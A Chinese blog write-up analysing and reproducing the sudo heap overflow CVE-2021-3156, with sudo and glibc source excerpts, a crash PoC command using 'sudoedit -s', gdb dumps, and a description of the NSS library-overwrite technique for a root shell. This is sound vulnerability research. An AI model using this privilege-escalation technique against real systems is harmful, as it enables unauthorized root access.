CVE-2021-3156 sudo 提权漏洞复现与分析

CVE-2021-3156 sudo 提权漏洞复现与分析

前言

前几天在玄武推的公众号上看到了这个洞,当天在各大安全资讯和安全论坛都给出了该漏洞的预警,我拿漏洞公布者的PoC试了下自己的Ubuntu18.04,也在漏洞影响的范围,上次遇到这种直接打Ubuntu 18.04的洞还是谷歌project zero的一个vmcache内核提权漏洞,当时还在调cve-2020-0796这个洞,加上感觉自己不太能写出1day的exp(上次ebpf的exp算是运气好正好在看相关的洞233),到今天github上已经见了好几个公开的PoC/Exp,在我机器上也未见成功,因此打算调一下这个洞,争取可以本机提权:D。

漏洞分析

漏洞公开者的博客为CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit),我们在wget https://www.sudo.ws/dist/sudo-1.8.31.tar.gz下载一下1.8.31的源码,方便对着博客分析。

对于bash而言假如我们希望执行某个命令可以使用bash -c [command]来执行,如果我们希望以root的权限去执行某个命令的话可以直接sudo [cmd],而如果我们希望以shell模式去执行某个命令的时候,可以使用sudo -i或者sudo -s参数,在参数说明里我们可以看到-i, --login run login shell as the target user; a command may also be specified, -s, --shell run shell as the target user; a command may also be specified,当我们使用上述参数时对于sudo的flags而言有两种情况:

  1. 使用sudo -s,设置MODE_SHELL
  2. 使用sudo -i,设置MODE_SHELL|MODE_LOGIN_SHELL

src/parse_args.c里我们可以看到对于这种模式的参数处理,处理方式为将参数按照空格拼接起来,对于一些元字符使用反斜线进行转义处理,最终覆写了argv为ac这个指针数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/*
* For shell mode we need to rewrite argv
*/
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;

if (argc != 0) {
/* shell -c "command" */
char *src, *dst;
//得到命令的长度
size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
strlen(argv[argc - 1]) + 1;

cmnd = dst = reallocarray(NULL, cmnd_size, 2);
if (cmnd == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, cmnd))
exit(1);
//拼接命令并且处理转移符
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';//处理转义字符,'\\'表示反斜线
*dst++ = *src;
}
*dst++ = ' ';
}
if (cmnd != dst)
dst--; /* replace last space with a NUL */
*dst = '\0';

ac += 2; /* -c cmnd */
}
//上述处理完毕后结果保存在dst指针指向的内存
av = reallocarray(NULL, ac + 1, sizeof(char *));
//分配新的内存保存拼接的命令
if (av == NULL)
sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
if (!gc_add(GC_PTR, av))
exit(1);

av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
//最后的形式为 shell -c cmnd(shell和环境变量相关,比如我这里是zsh,shell为/usr/bin/zsh)
//最终用av覆写argv
argv = av;
argc = ac;
}

随后在sudoers.c中的sudoers_policy_main函数中调用set_cmnd将命令行参数存放在一个堆上的数据结构user_args中,这里也对元字符做了处理,假如不是\\+space的形式就跳过元字符,否则拷贝到*to。那么假如我们的命令行参数以\\结尾,那么from[0]='\\';from[1]=NULL(注意NULL并非sapce范围),此时from++指向空字符,下面将空字符拷贝到了*to并且from++后执行了NULL后面的字符,此时再次进行while循环判断时很明显这里是可以继续进入循环的(如果后一个字符不为NULL),从而赋值得以继续进行,从而产生了溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}

上述是我们的理论分析,在理论角度上看漏洞是存在的,但是我们在之前的漏洞中也见到过由于无法创造漏洞利用场景(比如我想提权但是exp里需要某个root用户给的capability),这样的洞就非常鸡肋。那么在我们的分析里有几个理想条件,那么最后的这个场景,即反斜线作为cmd-line的最后一个字符从理论上来说是无法实现的,这里要求我们有MODE_SHELL|MODE_LOGIN_SHELL,而假如flag包含MODE_SHELL的话在我们之前的parse_args参数解析中就会将所有元字符给转义掉,也就是说会有两个反斜线,我们再按照代码走一遍会发现这样循环末尾的*from=NULL,因此会跳出循环。

再仔细对比一下二者的条件,二者的条件略有不同。我们的问题在于能否设置flag为MODE_SHELL以及MODE_RUN或者MODE_EDIT或者MODE_CHECK

再看下解析参数的部分会发现好像还是不太行,假如我们使用-e参数设置MODE_EDIT或者使用-l参数设置MODE_CHECK,我们的MODE_SHELL参数就会被从valid_flags去掉。

1
2
3
4
5
6
7
8
9
10
//bug condition
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
//...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
}
}
//escape meta char condition
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
//..
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define MODE_NONINTERACTIVE	0x00800000

#define MODE_SHELL 0x00020000

//parse_args.c
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl(1);
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;//这里
break;
//...
case 'l':
if (mode) {
if (mode == MODE_LIST)
SET(flags, MODE_LONG_LIST);
else
usage_excl(1);
}
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;//这里
//...
if ((flags & valid_flags) != flags)
usage(1);

最后作者发现了一个可以利用的地方(盲猜是通过全局搜flag找到的),那就是如果我们去执行sudoedit,parse_args函数会自动设置MODE_EDIT,并且不会重置valid_flags,而valid_flags默认包含了MODE_SHELL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*
* Default flags allowed when running a command.
*/
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)

int valid_flags = DEFAULT_VALID_FLAGS;

/* First, check to see if we were invoked as "sudoedit". */
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}

也就是说,加入我们执行sudoedit -s,就同时兼具了MODE_SHELL|MODE_EDIT而没有MODE_RUN,因此可以成功到达漏洞点。

我们使用下面的PoC进行测试

1
gdb --args sudoedit -s '\' `perl -e 'print "A" x 65536'`

可以得到如下的crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
[----------------------------------registers-----------------------------------]
RAX: 0x41414141413d4131 ('1A=AAAAA')
RBX: 0x40011
RCX: 0x5558a1d0f8e0 ("A AAAAAA\021")
RDX: 0x40011
RSI: 0x0
RDI: 0x5558a1d4f8f0
RBP: 0x10
RSP: 0x7ffe6d98af70 --> 0x347
RIP: 0x7f13b050126d (<_int_malloc+3613>: mov QWORD PTR [rdi+0x8],rax)
R8 : 0x7f13b0857cd0 --> 0x7f13b0857cc0 --> 0x5558a1cf7390 --> 0x0
R9 : 0x0
R10: 0x5558a1ce6010 --> 0x1000000020007
R11: 0x4
R12: 0x3fff
R13: 0x7f13b0857ca0 --> 0x5558a1d4f8f0
R14: 0x7f13b0857c40 --> 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7f13b0501262 <_int_malloc+3602>: mov QWORD PTR [r14+0x60],rdi
0x7f13b0501266 <_int_malloc+3606>: or rdx,rsi
0x7f13b0501269 <_int_malloc+3609>: mov QWORD PTR [rcx+0x8],rdx
=> 0x7f13b050126d <_int_malloc+3613>: mov QWORD PTR [rdi+0x8],rax
0x7f13b0501271 <_int_malloc+3617>: jmp 0x7f13b0501103 <_int_malloc+3251>
0x7f13b0501276 <_int_malloc+3622>: mov rcx,QWORD PTR [rdx+0x28]
0x7f13b050127a <_int_malloc+3626>: jmp 0x7f13b0501280 <_int_malloc+3632>
0x7f13b050127c <_int_malloc+3628>: mov rcx,QWORD PTR [rcx+0x28]
[------------------------------------stack-------------------------------------]
0000| 0x7ffe6d98af70 --> 0x347
0008| 0x7ffe6d98af78 --> 0x40004
0016| 0x7ffe6d98af80 --> 0x7d00000000 ('')
0024| 0x7ffe6d98af88 --> 0x7
0032| 0x7ffe6d98af90 --> 0x0
0040| 0x7ffe6d98af98 --> 0x5558a1d06008 ('A' <repeats 200 times>...)
0048| 0x7ffe6d98afa0 --> 0x40030
0056| 0x7ffe6d98afa8 --> 0xffffffffffffffb0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
_int_malloc (av=av@entry=0x7f13b0857c40 <main_arena>, bytes=bytes@entry=0x40004) at malloc.c:4110
4110 malloc.c: No such file or directory.
gdb-peda$ bt
#0 _int_malloc (av=av@entry=0x7f13b0857c40 <main_arena>, bytes=bytes@entry=0x40004) at malloc.c:4110
#1 0x00007f13b05031cc in __GI___libc_malloc (bytes=0x40004) at malloc.c:3067
#2 0x00007f13b0a83faf in sudo_getgrouplist2_v1 (name=0x5558a1cf0748 "root", basegid=0x0, groupsp=groupsp@entry=0x7ffe6d98b0d0,
ngroupsp=ngroupsp@entry=0x7ffe6d98b0cc) at ./getgrouplist.c:101
#3 0x00007f13af36f3f7 in sudo_make_gidlist_item (pw=0x5558a1cf0718, unused1=<optimized out>, type=0x1) at ./pwutil_impl.c:272
#4 0x00007f13af36e0da in sudo_get_gidlist (pw=0x5558a1cf0718, type=type@entry=0x1) at ./pwutil.c:932
#5 0x00007f13af367f35 in runas_getgroups () at ./match.c:145
#6 0x00007f13af35a0fe in runas_setgroups () at ./set_perms.c:1714
#7 set_perms (perm=perm@entry=0x5) at ./set_perms.c:281
#8 0x00007f13af353bd4 in sudoers_lookup (snl=0x7f13af58fce0 <snl>, pw=0x5558a1cf0568, validated=validated@entry=0x60,
pwflag=pwflag@entry=0x0) at ./parse.c:298
#9 0x00007f13af35cd09 in sudoers_policy_main (argc=argc@entry=0x3, argv=argv@entry=0x7ffe6d98ba90, pwflag=pwflag@entry=0x0,
env_add=env_add@entry=0x0, verbose=verbose@entry=0x0, closure=closure@entry=0x7ffe6d98b7a0) at ./sudoers.c:324
#10 0x00007f13af355ef2 in sudoers_policy_check (argc=0x3, argv=0x7ffe6d98ba90, env_add=0x0, command_infop=0x7ffe6d98b828,
argv_out=0x7ffe6d98b830, user_env_out=0x7ffe6d98b838) at ./policy.c:872
#11 0x000055589ff8e02b in policy_check (plugin=0x5558a01ac780 <policy_plugin>, user_env_out=0x7ffe6d98b838,
argv_out=0x7ffe6d98b830, command_info=0x7ffe6d98b828, env_add=0x0, argv=0x7ffe6d98ba90, argc=0x3) at ./sudo.c:1138
#12 main (argc=argc@entry=0x4, argv=argv@entry=0x7ffe6d98ba88, envp=<optimized out>) at ./sudo.c:253
#13 0x00007f13b048dbf7 in __libc_start_main (main=0x55589ff8db80 <main>, argc=0x4, argv=0x7ffe6d98ba88, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe6d98ba78) at ../csu/libc-start.c:310
#14 0x000055589ff8f95a in _start ()
gdb-peda$

这个洞对攻击者而言是非常理想的:

  1. 我们可以控制user_args这个数据结构分配的堆块大小(通过cmd-line的长度来进行控制)
1
2
3
4
5
6
7
8
9
10
11
12
13
//sudoers.c
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;

/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
  1. 攻击者可以独立控制溢出的大小和内容,(我们最后一个命令行参数后面跟着的是我们第一个环境变量,这部分的大小不会计算在上面malloc的sz大小内)

  2. 攻击者可以向溢出的缓冲区中写入零字节(每个命令行参数或者环境变量如果以反斜线结尾都会导致空字符被写入到user_args中)

漏洞利用

截止到今天网上已经公开了很多exp,根据oss-security披露的exp,比较好用的方法是覆写nss_libraryX/X,从而加载自定义的库函数,进而get root shell。

为了更好理解漏洞利用,我们首先需要理解glibc的nss。其全称为Name Service Switch,每个Linux/Unix的操作系统中都有这样的一套称之为NSS的共享库来做一些解析,比如登录用户的用户名以及IP地址到域名的解析。比如对于DNS服务来说,它默认查看/etc/resolv.conf配置文件的内容进行解析,对于用户和组来说,它会默认查看/etc/passwd/etc/group。其配置文件位于/etc/nsswitch.conf,其每行都规定了查找方法的规范,在GNU C Library里, 每个可用的SERVICE都必须有文件 /lib/libnss_SERVICE.so.1 与之对应。也就是说,GNU将每个服务实现为不同的module(shared library),因此可以在Linux系统中找到下列相应的共享库

1
2
3
4
5
6
7
8
9
libnss_nisplus.so.2
libnss_nis.so.2
libnss_dns.so.2
libnss_files.so.2
libnss_compat.so.2
libnss_hesiod.so.2
/lib/libnss_ldap.so.2
/lib/libnss_winbind.so.2
/lib/libnss_wins.so.2

当使用相应的函数时,会调用__nss_lookup_function进行查找。

当sudo调用该函数时,service_user类型的参数ni是在堆上分配的,假如我们将ni->library置为空,即可通过nss_new_service分配一个library,默认的ni->library->lib_handle为NULL因而可以进入下面的加载部分,我们将ni->name覆写为X/X,最后经过拼接将加载libnss_X/X.so.2,我们将get root shell的代码编译为共享库即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{
void **found, *result;

/* We now modify global data. Protect it. */
__libc_lock_lock (lock);

/* Search the tree of functions previously requested. Data in the
tree are `known_function' structures, whose first member is a
`const char *', the lookup key. The search returns a pointer to
the tree node structure; the first member of the is a pointer to
our structure (i.e. what will be a `known_function'); since the
first member of that is the lookup key string, &FCT_NAME is close
enough to a pointer to our structure to use as a lookup key that
will be passed to `known_compare' (above). */

found = __tsearch (&fct_name, &ni->known, &known_compare);
if (found == NULL)
/* This means out-of-memory. */
result = NULL;
else if (*found != &fct_name)
{
/* The search found an existing structure in the tree. */
result = ((known_function *) *found)->fct_ptr;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (result);
#endif
}
else
{
/* This name was not known before. Now we have a node in the tree
(in the proper sorted position for FCT_NAME) that points to
&FCT_NAME instead of any real `known_function' structure.
Allocate a new structure and fill it in. */

known_function *known = malloc (sizeof *known);
if (! known)
{
#if !defined DO_STATIC_NSS || defined SHARED
remove_from_tree:
#endif
/* Oops. We can't instantiate this node properly.
Remove it from the tree. */
__tdelete (&fct_name, &ni->known, &known_compare);
free (known);
result = NULL;
}
else
{
/* Point the tree node at this new structure. */
*found = known;
known->fct_name = fct_name;

#if !defined DO_STATIC_NSS || defined SHARED
/* Load the appropriate library. */
if (nss_load_library (ni) != 0)
/* This only happens when out of memory. */
goto remove_from_tree;

if (ni->library->lib_handle == (void *) -1l)
/* Library not found => function not found. */
result = NULL;
else
{
/* Get the desired function. */
size_t namlen = (5 + strlen (ni->name) + 1
+ strlen (fct_name) + 1);
char name[namlen];

/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
ni->name),
"_"),
fct_name);

/* Look up the symbol. */
result = __libc_dlsym (ni->library->lib_handle, name);
}
#else
/* We can't get function address dynamically in static linking. */
{
# define DEFINE_ENT(h,nm) \
{ #h"_get"#nm"ent_r", _nss_##h##_get##nm##ent_r }, \
{ #h"_end"#nm"ent", _nss_##h##_end##nm##ent }, \
{ #h"_set"#nm"ent", _nss_##h##_set##nm##ent },
# define DEFINE_GET(h,nm) \
{ #h"_get"#nm"_r", _nss_##h##_get##nm##_r },
# define DEFINE_GETBY(h,nm,ky) \
{ #h"_get"#nm"by"#ky"_r", _nss_##h##_get##nm##by##ky##_r },
static struct fct_tbl { const char *fname; void *fp; } *tp, tbl[] =
{
# include "function.def"
{ NULL, NULL }
};
size_t namlen = (5 + strlen (ni->name) + 1
+ strlen (fct_name) + 1);
char name[namlen];

/* Construct the function name. */
__stpcpy (__stpcpy (__stpcpy (name, ni->name),
"_"),
fct_name);

result = NULL;
for (tp = &tbl[0]; tp->fname; tp++)
if (strcmp (tp->fname, name) == 0)
{
result = tp->fp;
break;
}
}
#endif

/* Remember function pointer for later calls. Even if null, we
record it so a second try needn't search the library again. */
known->fct_ptr = result;
#ifdef PTR_MANGLE
PTR_MANGLE (known->fct_ptr);
#endif
}
}

/* Remove the lock. */
__libc_lock_unlock (lock);

return result;
}
/* Load library. */
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}

if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];

/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);

ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
# ifdef USE_NSCD
else if (is_nscd)
{
/* Call the init function when nscd is used. */
size_t initlen = (5 + strlen (ni->name)
+ strlen ("_init") + 1);
char init_name[initlen];

/* Construct the init function name. */
__stpcpy (__stpcpy (__stpcpy (init_name,
"_nss_"),
ni->name),
"_init");

/* Find the optional init function. */
void (*ifct) (void (*) (size_t, struct traced_file *))
= __libc_dlsym (ni->library->lib_handle, init_name);
if (ifct != NULL)
{
void (*cb) (size_t, struct traced_file *) = nscd_init_cb;
# ifdef PTR_DEMANGLE
PTR_DEMANGLE (cb);
# endif
ifct (cb);
}
}
# endif
}

return 0;
}

这种利用方式使得我们可以绕过ASLR的限制,不过有一些实现的细节问题,首先是我们如何找到加载的service_user类型的数据,这个问题可以通过gdb搜索systemd字符串来确定。

其次是我们需要通过堆溢出覆写nss_load_libray的参数,这就要求我们可控的堆空间距离参数的距离最好要小一点,否则可能因为溢出到中间的关键数据结构导致程序crash。那么最好的方法就是我们人为地在存储systemd的数据结构前释放一个空闲堆块,并且在user_args申请时使其申请得到这样一个堆块,进而溢出伪造service_user。目前公开的exp是使用setlocale函数来进行的提前占位。到这里我们再来了解一下setlocale。

懒人直接粘贴manual page,这个函数是用来设置计算机的地址信息的,有很多参数可以选择,LC_ALL表示下面的全部选项都使用。使用系统默认的设置调用setlocale(LC_ALL,"");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
SYNOPSIS
#include <locale.h>

char *setlocale(int category, const char *locale);

DESCRIPTION
The setlocale() function is used to set or query the pro‐
gram's current locale.

If locale is not NULL, the program's current locale is
modified according to the arguments. The argument cate‐
gory determines which parts of the program's current
locale should be modified.

Category Governs
LC_ALL All of the locale
LC_ADDRESS Formatting of addresses and
geography-related items (*)
LC_COLLATE String collation
LC_CTYPE Character classification
LC_IDENTIFICATION Metadata describing the locale (*)
LC_MEASUREMENT Settings related to measurements
(metric versus US customary) (*)
LC_MESSAGES Localizable natural-language messages
LC_MONETARY Formatting of monetary values
LC_NAME Formatting of salutations for persons (*)
LC_NUMERIC Formatting of nonmonetary numeric values
LC_PAPER Settings related to the standard paper size (*)
LC_TELEPHONE Formats to be used with telephone services (*)
LC_TIME Formatting of date and time values

The categories marked with an asterisk in the above table
are GNU extensions. For further information on these
locale categories, see locale(7).

在sudo的main函数的开头(154行)调用setlocale(LC_ALL, "");从而使用系统的默认设置locale,在169行调用if (sudo_conf_read(NULL, SUDO_CONF_DEBUG) == -1)函数,在该函数中调用strdup(prev_locale)以及free(prev_locale);进行了堆块的分配释放,且位于sudo靠前的位置,我们可以考虑在此处分配并释放特殊大小的堆块,为之后的user_args占位,经过调试发现这里其实并不是在占位,而是改变堆块的布局结构,为分配到user_args铺垫。

下图为strdup调用

下图为分配之后的堆布局


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
/*
* Reads in /etc/sudo.conf and populates sudo_conf_data.
*/
int
sudo_conf_read_v1(const char *conf_file, int conf_types)
{
struct stat sb;
FILE *fp = NULL;
int ret = false;
char *prev_locale, *line = NULL;
unsigned int conf_lineno = 0;
size_t linesize = 0;
debug_decl(sudo_conf_read, SUDO_DEBUG_UTIL)

if ((prev_locale = setlocale(LC_ALL, NULL)) == NULL) {
sudo_warn("setlocale(LC_ALL, NULL)");
debug_return_int(-1);
}
if ((prev_locale = strdup(prev_locale)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}

/* Parse sudo.conf in the "C" locale. */
if (prev_locale[0] != 'C' || prev_locale[1] != '\0')
setlocale(LC_ALL, "C");

if (conf_file == NULL) {
conf_file = _PATH_SUDO_CONF;
switch (sudo_secure_file(conf_file, ROOT_UID, -1, &sb)) {
case SUDO_PATH_SECURE:
break;
case SUDO_PATH_MISSING:
/* Root should always be able to read sudo.conf. */
if (errno != ENOENT && geteuid() == ROOT_UID)
sudo_warn(U_("unable to stat %s"), conf_file);
goto done;
case SUDO_PATH_BAD_TYPE:
sudo_warnx(U_("%s is not a regular file"), conf_file);
goto done;
case SUDO_PATH_WRONG_OWNER:
sudo_warnx(U_("%s is owned by uid %u, should be %u"),
conf_file, (unsigned int) sb.st_uid, ROOT_UID);
goto done;
case SUDO_PATH_WORLD_WRITABLE:
sudo_warnx(U_("%s is world writable"), conf_file);
goto done;
case SUDO_PATH_GROUP_WRITABLE:
sudo_warnx(U_("%s is group writable"), conf_file);
goto done;
default:
/* NOTREACHED */
goto done;
}
}

if ((fp = fopen(conf_file, "r")) == NULL) {
if (errno != ENOENT && geteuid() == ROOT_UID)
sudo_warn(U_("unable to open %s"), conf_file);
goto done;
}

while (sudo_parseln(&line, &linesize, &conf_lineno, fp, 0) != -1) {
struct sudo_conf_table *cur;
unsigned int i;
char *cp;

if (*(cp = line) == '\0')
continue; /* empty line or comment */

for (i = 0, cur = sudo_conf_table; cur->name != NULL; i++, cur++) {
if (strncasecmp(cp, cur->name, cur->namelen) == 0 &&
isblank((unsigned char)cp[cur->namelen])) {
if (ISSET(conf_types, (1 << i))) {
cp += cur->namelen;
while (isblank((unsigned char)*cp))
cp++;
ret = cur->parser(cp, conf_file, conf_lineno);
if (ret == -1)
goto done;
}
break;
}
}
if (cur->name == NULL) {
sudo_debug_printf(SUDO_DEBUG_WARN,
"%s: %s:%u: unsupported entry: %s", __func__, conf_file,
conf_lineno, line);
}
}
ret = true;

done:
if (fp != NULL)
fclose(fp);
free(line);

/* Restore locale if needed. */
if (prev_locale[0] != 'C' || prev_locale[1] != '\0')
setlocale(LC_ALL, prev_locale);
free(prev_locale);
debug_return_int(ret);
}

在sudo main函数的191行调用了get_user_info(&user_details)函数,进而通过getpwuid调用到__getpwuid_r,最终初始化了systemdservice_user结构.因为本地没有符号,我是拿IDA反编译sudo手动定位到的


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/*
* Return user information as an array of name=value pairs.
* and fill in struct user_details (which shares the same strings).
*/
static char **
get_user_info(struct user_details *ud)
{
char *cp, **user_info, path[PATH_MAX];
unsigned int i = 0;
mode_t mask;
struct passwd *pw;
int fd;
debug_decl(get_user_info, SUDO_DEBUG_UTIL)

/*
* On BSD systems you can set a hint to keep the password and
* group databases open instead of having to open and close
* them all the time. Since sudo does a lot of password and
* group lookups, keeping the file open can speed things up.
*/
#ifdef HAVE_SETPASSENT
setpassent(1);
#endif /* HAVE_SETPASSENT */
#ifdef HAVE_SETGROUPENT
setgroupent(1);
#endif /* HAVE_SETGROUPENT */

memset(ud, 0, sizeof(*ud));

/* XXX - bound check number of entries */
user_info = reallocarray(NULL, 32, sizeof(char *));
if (user_info == NULL)
goto oom;

ud->pid = getpid();
ud->ppid = getppid();
ud->pgid = getpgid(0);
ud->tcpgid = -1;
fd = open(_PATH_TTY, O_RDWR);
if (fd != -1) {
ud->tcpgid = tcgetpgrp(fd);
close(fd);
}
ud->sid = getsid(0);

ud->uid = getuid();
ud->euid = geteuid();
ud->gid = getgid();
ud->egid = getegid();

#ifdef HAVE_SETAUTHDB
aix_setauthdb(IDtouser(ud->uid), NULL);
#endif
pw = getpwuid(ud->uid);
//..
}
static const char *pwfile = "/etc/passwd";
struct passwd *
getpwuid(uid_t uid)
{
struct passwd *pw;

if (pwf == NULL) {
if ((pwf = fopen(pwfile, "r")) == NULL)
return NULL;
(void)fcntl(fileno(pwf), F_SETFD, FD_CLOEXEC);
} else {
rewind(pwf);
}
while ((pw = getpwent()) != NULL) {
if (pw->pw_uid == uid)
break;
}
if (!pw_stayopen) {
fclose(pwf);
pwf = NULL;
}
return pw;
}

经过一系列的分配释放我们终于在目标地址的上方构造出了一个空闲堆块,通过查看堆上的脏数据可以判定该堆块是在nsswitch的时候用到的一个临时堆块,释放之后恰好在存储systemd这个共享库的上方。

最后我打印了一下构造好的堆布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
gdb-peda$ x/180gx 0x555555783ea0-0x10
0x555555783e90: 0x0000000000000000 0x00000000000000f1
0x555555783ea0: 0x40382d4654552e43 0x4343434343434343
0x555555783eb0: 0x4343434343434343 0x4343434343434343
0x555555783ec0: 0x4343434343434343 0x4343434343434343
0x555555783ed0: 0x4343434343434343 0x4343434343434343
0x555555783ee0: 0x4343434343434343 0x4343434343434343
0x555555783ef0: 0x4343434343434343 0x4343434343434343
0x555555783f00: 0x4343434343434343 0x4343434343434343
0x555555783f10: 0x4343434343434343 0x4343434343434343
0x555555783f20: 0x4343434343434343 0x4343434343434343
0x555555783f30: 0x4343434343434343 0x4343434343434343
0x555555783f40: 0x4343434343434343 0x4343434343434343
0x555555783f50: 0x4343434343434343 0x4343434343434343
0x555555783f60: 0x4343434343434343 0x4343434343434343
0x555555783f70: 0x4343434343434343 0x0000000043434343
0x555555783f80: 0x00000000000000f0 0x0000000000000021
0x555555783f90: 0x000000006f647573 0x0000000000000000
0x555555783fa0: 0x0000000000000000 0x0000000000000021
0x555555783fb0: 0x636f6c2f6374652f 0x0000656d69746c61
0x555555783fc0: 0x0000000000000000 0x0000000000000021
0x555555783fd0: 0x0000555555783ff0 0x0000000000000003
0x555555783fe0: 0x0000555500544d4c 0x0000000000000021
0x555555783ff0: 0x0000555555784010 0x0000000000000003
0x555555784000: 0x0000000000544443 0x0000000000000021
0x555555784010: 0x0000000000000000 0x0000000000000003
0x555555784020: 0x0000000000545343 0x00000000000000f1
0x555555784030: 0x0000000000000000 0x000055555577a010
0x555555784040: 0x4343434343434343 0x4343434343434343
0x555555784050: 0x4343434343434343 0x4343434343434343
0x555555784060: 0x4343434343434343 0x4343434343434343
0x555555784070: 0x4343434343434343 0x4343434343434343
0x555555784080: 0x4343434343434343 0x4343434343434343
0x555555784090: 0x4343434343434343 0x4343434343434343
